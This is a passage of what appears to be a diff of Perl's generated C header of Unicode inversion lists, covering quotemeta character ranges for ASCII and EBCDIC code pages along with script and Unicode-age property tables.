PL__PERL_QUOTEMETA_invlist[] = { /* for ASCII/Latin1 */ - 78, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB7, - 0xBB, - 0xBC, - 0xBF, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x1680, - 0x1681, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x2000, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2070, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3000, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3164, - 0x3165, - 0xFD3E, - 0xFD40, - 0xFE00, - 0xFE10, - 0xFE45, - 0xFE47, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_QUOTEMETA_invlist[] = { /* for EBCDIC 1047 */ - 92, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xB3, - 0xB4, - 0xB7, - 0xBD, - 0xBE, - 0xBF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0xFF, - 0x100, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x1680, - 0x1681, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x2000, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2070, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3000, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3164, - 0x3165, - 0xFD3E, - 0xFD40, - 0xFE00, - 0xFE10, - 0xFE45, - 0xFE47, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_QUOTEMETA_invlist[] = { /* for EBCDIC 037 */ - 90, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xB3, - 0xB4, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xE0, - 0xE2, - 0xFF, - 0x100, - 0x34F, - 0x350, - 0x61C, - 0x61D, - 0x115F, - 0x1161, - 0x1680, - 0x1681, - 0x17B4, - 0x17B6, - 0x180B, - 0x180F, - 0x2000, - 0x203F, - 0x2041, - 0x2054, - 0x2055, - 0x2070, - 0x2190, - 0x2460, - 0x2500, - 0x2776, - 0x2794, - 0x2C00, - 0x2E00, - 0x2E80, - 0x3000, - 0x3004, - 0x3008, - 0x3021, - 0x3030, - 0x3031, - 0x3164, - 0x3165, - 0xFD3E, - 0xFD40, - 0xFE00, - 0xFE10, - 0xFE45, - 0xFE47, - 0xFEFF, - 0xFF00, - 0xFFA0, - 0xFFA1, - 0xFFF0, - 0xFFF9, - 0x1BCA0, - 0x1BCA4, - 0x1D173, - 0x1D17B, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_ADLM_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x640, - 0x641, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960 -}; - -static const UV PL_AEGEANNUMBERS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10100, - 0x10140 -}; - -static const UV PL_AGE__10_invlist[] = { /* for all charsets */ - 81, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x860, - 0x86B, - 0x9FC, - 0x9FE, - 0xAFA, - 0xB00, - 0xD00, - 0xD01, - 0xD3B, - 0xD3D, - 0x1CF7, - 0x1CF8, - 0x1DF6, - 0x1DFA, - 0x20BF, - 0x20C0, - 0x23FF, - 0x2400, - 0x2BD2, - 0x2BD3, - 0x2E45, - 0x2E4A, - 0x312E, - 0x312F, - 0x9FD6, - 0x9FEB, - 0x1032D, - 0x10330, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x16FE1, - 0x16FE2, - 0x1B002, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F260, - 0x1F266, - 0x1F6D3, - 0x1F6D5, - 0x1F6F7, - 0x1F6F9, - 0x1F900, - 0x1F90C, - 0x1F91F, - 0x1F920, - 0x1F928, - 0x1F930, - 0x1F931, - 0x1F933, - 0x1F94C, - 0x1F94D, - 0x1F95F, - 0x1F96C, - 0x1F992, - 0x1F998, - 0x1F9D0, - 0x1F9E7, - 0x2CEB0, - 0x2EBE1 -}; - -static const UV PL_AGE__2_invlist[] = { /* for all charsets */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x591, - 0x5A2, - 0x5A3, - 0x5B0, - 0x5C4, - 0x5C5, - 0xF00, - 0xF48, - 0xF49, - 0xF6A, - 0xF71, - 0xF8C, - 0xF90, - 0xF96, - 0xF97, - 0xF98, - 0xF99, - 0xFAE, - 0xFB1, - 0xFB8, - 0xFB9, - 0xFBA, - 0x1E9B, - 0x1E9C, - 0x20AB, - 0x20AC, - 0xAC00, - 0xD7A4, - 0xD800, - 0xE000, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0x40000, - 0x4FFFE, - 0x50000, - 0x5FFFE, - 0x60000, - 0x6FFFE, - 0x70000, - 0x7FFFE, - 0x80000, - 0x8FFFE, - 0x90000, - 0x9FFFE, - 0xA0000, - 0xAFFFE, - 0xB0000, - 0xBFFFE, - 0xC0000, - 0xCFFFE, - 0xD0000, - 0xDFFFE, - 0xE0000, - 0xEFFFE, - 0x110000 -}; - -static const UV PL_AGE__2_DOT_1_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20AC, - 0x20AD, - 0xFFFC, - 0xFFFD -}; - -static const UV PL_AGE__3_invlist[] = { /* for all charsets */ - 243, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1F6, - 0x1FA, - 0x218, - 0x220, - 0x222, - 0x234, - 0x2A9, - 0x2AE, - 0x2DF, - 0x2E0, - 0x2EA, - 0x2EF, - 0x346, - 0x34F, - 0x362, - 0x363, - 0x3D7, - 0x3D8, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x400, - 0x401, - 0x40D, - 0x40E, - 0x450, - 0x451, - 0x45D, - 0x45E, - 0x488, - 0x48A, - 0x48C, - 0x490, - 0x4EC, - 0x4EE, - 0x58A, - 0x58B, - 0x653, - 0x656, - 0x6B8, - 0x6BA, - 0x6BF, - 0x6C0, - 0x6CF, - 0x6D0, - 0x6FA, - 0x6FF, - 0x700, - 0x70E, - 0x70F, - 0x72D, - 0x730, - 0x74B, - 0x780, - 0x7B1, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF5, - 0xF6A, - 0xF6B, - 0xF96, - 0xF97, - 0xFAE, - 0xFB1, - 0xFB8, - 0xFB9, - 0xFBA, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCF, - 0xFD0, - 0x1000, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x1200, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1287, - 0x1288, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12AF, - 0x12B0, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12CF, - 0x12D0, - 0x12D7, - 0x12D8, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135B, - 0x1361, - 0x137D, - 0x13A0, - 0x13F5, - 0x1401, - 0x1677, - 0x1680, - 0x169D, - 0x16A0, - 0x16F1, - 0x1780, - 0x17DD, - 0x17E0, - 0x17EA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AA, - 0x202F, - 0x2030, - 0x2048, - 0x204E, - 0x20AD, - 0x20B0, - 0x20E2, - 0x20E4, - 0x2139, - 0x213B, - 0x2183, - 0x2184, - 0x21EB, - 0x21F4, - 0x2301, - 0x2302, - 0x237B, - 0x237C, - 0x237D, - 0x239B, - 0x2425, - 0x2427, - 0x25F0, - 0x25F8, - 0x2619, - 0x261A, - 0x2670, - 0x2672, - 0x2800, - 0x2900, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3038, - 0x303B, - 0x303E, - 0x303F, - 0x31A0, - 0x31B8, - 0x3400, - 0x4DB6, - 0xA000, - 0xA48D, - 0xA490, - 0xA4A2, - 0xA4A4, - 0xA4B4, - 0xA4B5, - 0xA4C1, - 0xA4C2, - 0xA4C5, - 0xA4C6, - 0xA4C7, - 0xFB1D, - 0xFB1E, - 0xFFF9, - 0xFFFC -}; - -static const UV PL_AGE__3_DOT_1_invlist[] = { /* for all charsets */ - 73, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3F4, - 0x3F6, - 0xFDD0, - 0xFDF0, - 0x10300, - 0x1031F, - 0x10320, - 0x10324, - 0x10330, - 0x1034B, - 0x10400, - 0x10426, - 0x10428, - 0x1044E, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D12A, - 0x1D1DE, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C1, - 0x1D4C2, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A4, - 0x1D6A8, - 0x1D7CA, - 0x1D7CE, - 0x1D800, - 0x20000, - 0x2A6D7, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080 -}; - -static const UV PL_AGE__3_DOT_2_invlist[] = { /* for all charsets */ - 119, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x220, - 0x221, - 0x34F, - 0x350, - 0x363, - 0x370, - 0x3D8, - 0x3DA, - 0x3F6, - 0x3F7, - 0x48A, - 0x48C, - 0x4C5, - 0x4C7, - 0x4C9, - 0x4CB, - 0x4CD, - 0x4CF, - 0x500, - 0x510, - 0x66E, - 0x670, - 0x7B1, - 0x7B2, - 0x10F7, - 0x10F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x2047, - 0x2048, - 0x204E, - 0x2053, - 0x2057, - 0x2058, - 0x205F, - 0x2064, - 0x2071, - 0x2072, - 0x20B0, - 0x20B2, - 0x20E4, - 0x20EB, - 0x213D, - 0x214C, - 0x21F4, - 0x2200, - 0x22F2, - 0x2300, - 0x237C, - 0x237D, - 0x239B, - 0x23CF, - 0x24EB, - 0x24FF, - 0x2596, - 0x25A0, - 0x25F8, - 0x2600, - 0x2616, - 0x2618, - 0x2672, - 0x267E, - 0x2680, - 0x268A, - 0x2768, - 0x2776, - 0x27D0, - 0x27EC, - 0x27F0, - 0x2800, - 0x2900, - 0x2B00, - 0x303B, - 0x303E, - 0x3095, - 0x3097, - 0x309F, - 0x30A1, - 0x30FF, - 0x3100, - 0x31F0, - 0x3200, - 0x3251, - 0x3260, - 0x32B1, - 0x32C0, - 0xA4A2, - 0xA4A4, - 0xA4B4, - 0xA4B5, - 0xA4C1, - 0xA4C2, - 0xA4C5, - 0xA4C6, - 0xFA30, - 0xFA6B, - 0xFDFC, - 0xFDFD, - 0xFE00, - 0xFE10, - 0xFE45, - 0xFE47, - 0xFE73, - 0xFE74, - 0xFF5F, - 0xFF61 -}; - -static const UV PL_AGE__4_invlist[] = { /* for all charsets */ - 155, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x221, - 0x222, - 0x234, - 0x237, - 0x2AE, - 0x2B0, - 0x2EF, - 0x300, - 0x350, - 0x358, - 0x35D, - 0x360, - 0x3F7, - 0x3FC, - 0x600, - 0x604, - 0x60D, - 0x616, - 0x656, - 0x659, - 0x6EE, - 0x6F0, - 0x6FF, - 0x700, - 0x72D, - 0x730, - 0x74D, - 0x750, - 0x904, - 0x905, - 0x9BD, - 0x9BE, - 0xA01, - 0xA02, - 0xA03, - 0xA04, - 0xA8C, - 0xA8D, - 0xAE1, - 0xAE4, - 0xAF1, - 0xAF2, - 0xB35, - 0xB36, - 0xB71, - 0xB72, - 0xBF3, - 0xBFB, - 0xCBC, - 0xCBE, - 0x17DD, - 0x17DE, - 0x17F0, - 0x17FA, - 0x1900, - 0x191D, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x19E0, - 0x1A00, - 0x1D00, - 0x1D6C, - 0x2053, - 0x2055, - 0x213B, - 0x213C, - 0x23CF, - 0x23D1, - 0x24FF, - 0x2500, - 0x2614, - 0x2616, - 0x268A, - 0x2692, - 0x26A0, - 0x26A2, - 0x2B00, - 0x2B0E, - 0x321D, - 0x321F, - 0x3250, - 0x3251, - 0x327C, - 0x327E, - 0x32CC, - 0x32D0, - 0x3377, - 0x337B, - 0x33DE, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xFDFD, - 0xFDFE, - 0xFE47, - 0xFE49, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0, - 0x10426, - 0x10428, - 0x1044E, - 0x1049E, - 0x104A0, - 0x104AA, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x1D300, - 0x1D357, - 0x1D4C1, - 0x1D4C2, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_AGE__4_DOT_1_invlist[] = { /* for all charsets */ - 173, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x237, - 0x242, - 0x358, - 0x35D, - 0x3FC, - 0x400, - 0x4F6, - 0x4F8, - 0x5A2, - 0x5A3, - 0x5C5, - 0x5C8, - 0x60B, - 0x60C, - 0x61E, - 0x61F, - 0x659, - 0x65F, - 0x750, - 0x76E, - 0x97D, - 0x97E, - 0x9CE, - 0x9CF, - 0xBB6, - 0xBB7, - 0xBE6, - 0xBE7, - 0xFD0, - 0xFD2, - 0x10F9, - 0x10FB, - 0x10FC, - 0x10FD, - 0x1207, - 0x1208, - 0x1247, - 0x1248, - 0x1287, - 0x1288, - 0x12AF, - 0x12B0, - 0x12CF, - 0x12D0, - 0x12EF, - 0x12F0, - 0x130F, - 0x1310, - 0x131F, - 0x1320, - 0x1347, - 0x1348, - 0x135F, - 0x1361, - 0x1380, - 0x139A, - 0x1980, - 0x19AA, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x19DE, - 0x19E0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1D6C, - 0x1DC4, - 0x2055, - 0x2057, - 0x2058, - 0x205F, - 0x2090, - 0x2095, - 0x20B2, - 0x20B6, - 0x20EB, - 0x20EC, - 0x213C, - 0x213D, - 0x214C, - 0x214D, - 0x23D1, - 0x23DC, - 0x2618, - 0x2619, - 0x267E, - 0x2680, - 0x2692, - 0x269D, - 0x26A2, - 0x26B2, - 0x27C0, - 0x27C7, - 0x2B0E, - 0x2B14, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C80, - 0x2CEB, - 0x2CF9, - 0x2D26, - 0x2D30, - 0x2D66, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E00, - 0x2E18, - 0x2E1C, - 0x2E1E, - 0x31C0, - 0x31D0, - 0x327E, - 0x327F, - 0x9FA6, - 0x9FBC, - 0xA700, - 0xA717, - 0xA800, - 0xA82C, - 0xFA70, - 0xFADA, - 0xFE10, - 0xFE1A, - 0x10140, - 0x1018B, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x1D200, - 0x1D246, - 0x1D6A4, - 0x1D6A6 -}; - -static const UV PL_AGE__5_invlist[] = { /* for all charsets */ - 71, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x242, - 0x250, - 0x37B, - 0x37E, - 0x4CF, - 0x4D0, - 0x4FA, - 0x500, - 0x510, - 0x514, - 0x5BA, - 0x5BB, - 0x7C0, - 0x7FB, - 0x97B, - 0x97D, - 0x97E, - 0x980, - 0xCE2, - 0xCE4, - 0xCF1, - 0xCF3, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1DC4, - 0x1DCB, - 0x1DFE, - 0x1E00, - 0x20EC, - 0x20F0, - 0x214D, - 0x214F, - 0x2184, - 0x2185, - 0x23DC, - 0x23E8, - 0x26B2, - 0x26B3, - 0x27C7, - 0x27CB, - 0x2B14, - 0x2B1B, - 0x2B20, - 0x2B24, - 0x2C60, - 0x2C6D, - 0x2C74, - 0x2C78, - 0xA717, - 0xA71B, - 0xA720, - 0xA722, - 0xA840, - 0xA878, - 0x10900, - 0x1091A, - 0x1091F, - 0x10920, - 0x12000, - 0x1236F, - 0x12400, - 0x12463, - 0x12470, - 0x12474, - 0x1D360, - 0x1D372, - 0x1D7CA, - 0x1D7CC -}; - -static const UV PL_AGE__5_DOT_1_invlist[] = { /* for all charsets */ - 179, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x370, - 0x374, - 0x376, - 0x378, - 0x3CF, - 0x3D0, - 0x487, - 0x488, - 0x514, - 0x524, - 0x606, - 0x60B, - 0x616, - 0x61B, - 0x63B, - 0x640, - 0x76E, - 0x780, - 0x971, - 0x973, - 0xA51, - 0xA52, - 0xA75, - 0xA76, - 0xB44, - 0xB45, - 0xB62, - 0xB64, - 0xBD0, - 0xBD1, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5A, - 0xC62, - 0xC64, - 0xC78, - 0xC80, - 0xD3D, - 0xD3E, - 0xD44, - 0xD45, - 0xD62, - 0xD64, - 0xD70, - 0xD76, - 0xD79, - 0xD80, - 0xF6B, - 0xF6D, - 0xFCE, - 0xFCF, - 0xFD2, - 0xFD5, - 0x1022, - 0x1023, - 0x1028, - 0x1029, - 0x102B, - 0x102C, - 0x1033, - 0x1036, - 0x103A, - 0x1040, - 0x105A, - 0x109A, - 0x109E, - 0x10A0, - 0x18AA, - 0x18AB, - 0x1B80, - 0x1BAB, - 0x1BAE, - 0x1BBA, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1DCB, - 0x1DE7, - 0x1E9C, - 0x1EA0, - 0x1EFA, - 0x1F00, - 0x2064, - 0x2065, - 0x20F0, - 0x20F1, - 0x214F, - 0x2150, - 0x2185, - 0x2189, - 0x269D, - 0x269E, - 0x26B3, - 0x26BD, - 0x26C0, - 0x26C4, - 0x27CC, - 0x27CD, - 0x27EC, - 0x27F0, - 0x2B1B, - 0x2B20, - 0x2B24, - 0x2B4D, - 0x2B50, - 0x2B55, - 0x2C6D, - 0x2C70, - 0x2C71, - 0x2C74, - 0x2C78, - 0x2C7E, - 0x2DE0, - 0x2E00, - 0x2E18, - 0x2E1C, - 0x2E1E, - 0x2E31, - 0x312D, - 0x312E, - 0x31D0, - 0x31E4, - 0x9FBC, - 0x9FC4, - 0xA500, - 0xA62C, - 0xA640, - 0xA660, - 0xA662, - 0xA674, - 0xA67C, - 0xA698, - 0xA71B, - 0xA720, - 0xA722, - 0xA78D, - 0xA7FB, - 0xA800, - 0xA880, - 0xA8C5, - 0xA8CE, - 0xA8DA, - 0xA900, - 0xA954, - 0xA95F, - 0xA960, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60, - 0xFE24, - 0xFE27, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x1D129, - 0x1D12A, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094 -}; - -static const UV PL_AGE__5_DOT_2_invlist[] = { /* for all charsets */ - 181, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x524, - 0x526, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x900, - 0x901, - 0x94E, - 0x94F, - 0x955, - 0x956, - 0x979, - 0x97B, - 0x9FB, - 0x9FC, - 0xFD5, - 0xFD9, - 0x109A, - 0x109E, - 0x115A, - 0x115F, - 0x11A3, - 0x11A8, - 0x11FA, - 0x1200, - 0x1400, - 0x1401, - 0x1677, - 0x1680, - 0x18B0, - 0x18F6, - 0x19AA, - 0x19AC, - 0x19DA, - 0x19DB, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1CD0, - 0x1CF3, - 0x1DFD, - 0x1DFE, - 0x20B6, - 0x20B9, - 0x2150, - 0x2153, - 0x2189, - 0x218A, - 0x23E8, - 0x23E9, - 0x269E, - 0x26A0, - 0x26BD, - 0x26C0, - 0x26C4, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2700, - 0x2757, - 0x2758, - 0x2B55, - 0x2B5A, - 0x2C70, - 0x2C71, - 0x2C7E, - 0x2C80, - 0x2CEB, - 0x2CF2, - 0x2E31, - 0x2E32, - 0x3244, - 0x3250, - 0x9FC4, - 0x9FCC, - 0xA4D0, - 0xA500, - 0xA6A0, - 0xA6F8, - 0xA830, - 0xA83A, - 0xA8E0, - 0xA8FC, - 0xA960, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xAA60, - 0xAA7C, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xFA6B, - 0xFA6E, - 0x10840, - 0x10856, - 0x10857, - 0x10860, - 0x1091A, - 0x1091C, - 0x10A60, - 0x10A80, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10C00, - 0x10C49, - 0x10E60, - 0x10E7F, - 0x11080, - 0x110C2, - 0x13000, - 0x1342F, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F131, - 0x1F132, - 0x1F13D, - 0x1F13E, - 0x1F13F, - 0x1F140, - 0x1F142, - 0x1F143, - 0x1F146, - 0x1F147, - 0x1F14A, - 0x1F14F, - 0x1F157, - 0x1F158, - 0x1F15F, - 0x1F160, - 0x1F179, - 0x1F17A, - 0x1F17B, - 0x1F17D, - 0x1F17F, - 0x1F180, - 0x1F18A, - 0x1F18E, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F201, - 0x1F210, - 0x1F232, - 0x1F240, - 0x1F249, - 0x2A700, - 0x2B735 -}; - -static const UV PL_AGE__6_invlist[] = { /* for all charsets */ - 213, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x526, - 0x528, - 0x620, - 0x621, - 0x65F, - 0x660, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x93A, - 0x93C, - 0x94F, - 0x950, - 0x956, - 0x958, - 0x973, - 0x978, - 0xB72, - 0xB78, - 0xD29, - 0xD2A, - 0xD3A, - 0xD3B, - 0xD4E, - 0xD4F, - 0xF8C, - 0xF90, - 0xFD9, - 0xFDB, - 0x135D, - 0x135F, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C00, - 0x1DFC, - 0x1DFD, - 0x2095, - 0x209D, - 0x20B9, - 0x20BA, - 0x23E9, - 0x23F4, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2705, - 0x2706, - 0x270A, - 0x270C, - 0x2728, - 0x2729, - 0x274C, - 0x274D, - 0x274E, - 0x274F, - 0x2753, - 0x2756, - 0x275F, - 0x2761, - 0x2795, - 